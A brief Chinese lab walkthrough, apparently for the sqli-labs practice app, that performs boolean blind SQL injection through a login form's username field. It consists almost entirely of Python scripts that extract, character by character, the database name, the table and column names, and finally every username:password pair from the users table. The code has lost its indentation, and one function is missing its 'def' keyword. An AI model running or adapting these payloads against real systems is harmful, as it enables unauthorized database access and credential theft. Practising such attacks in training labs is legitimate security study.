0、初始页面
1、确定闭合符号
确定符号的闭合
2、爆库名
python脚本爆库名
def inject_database(url):
name = ''
for i in range(1,20):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = "-1' or ascii(substr(database(),%d,1))>%d # " %(i,mid)
data = {"uname":payload,"passwd":"aaa"}
r = requests.post(url,data)
if "flag.jpg" in r.text:
low = mid+1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
3、爆表名
使用python脚本
inject_database(url):
name = ''
for i in range(1,40):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = "-1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))>%d # " %(i,mid)
data = {"uname":payload,"passwd":"aaa"}
r = requests.post(url,data)
if "flag.jpg" in r.text:
low = mid+1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
4、爆列名
使用python脚本
def inject_database(url):
name = ''
for i in range(1,40):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = "-1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))>%d # " %(i,mid)
data = {"uname":payload,"passwd":"aaa"}
r = requests.post(url,data)
if "flag.jpg" in r.text:
low = mid+1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
5、查询最终目标
使用python脚本,查询后续的内容修改concat的范围就行
def inject_database(url):
name = ''
for i in range(1,20):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = "-1' or ascii(substr(concat((select group_concat(username,0x3a,password) from users),1,20),%d,1))>%d # " %(i,mid)
data = {"uname":payload,"passwd":"aaa"}
r = requests.post(url,data)
if "flag.jpg" in r.text:
low = mid+1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)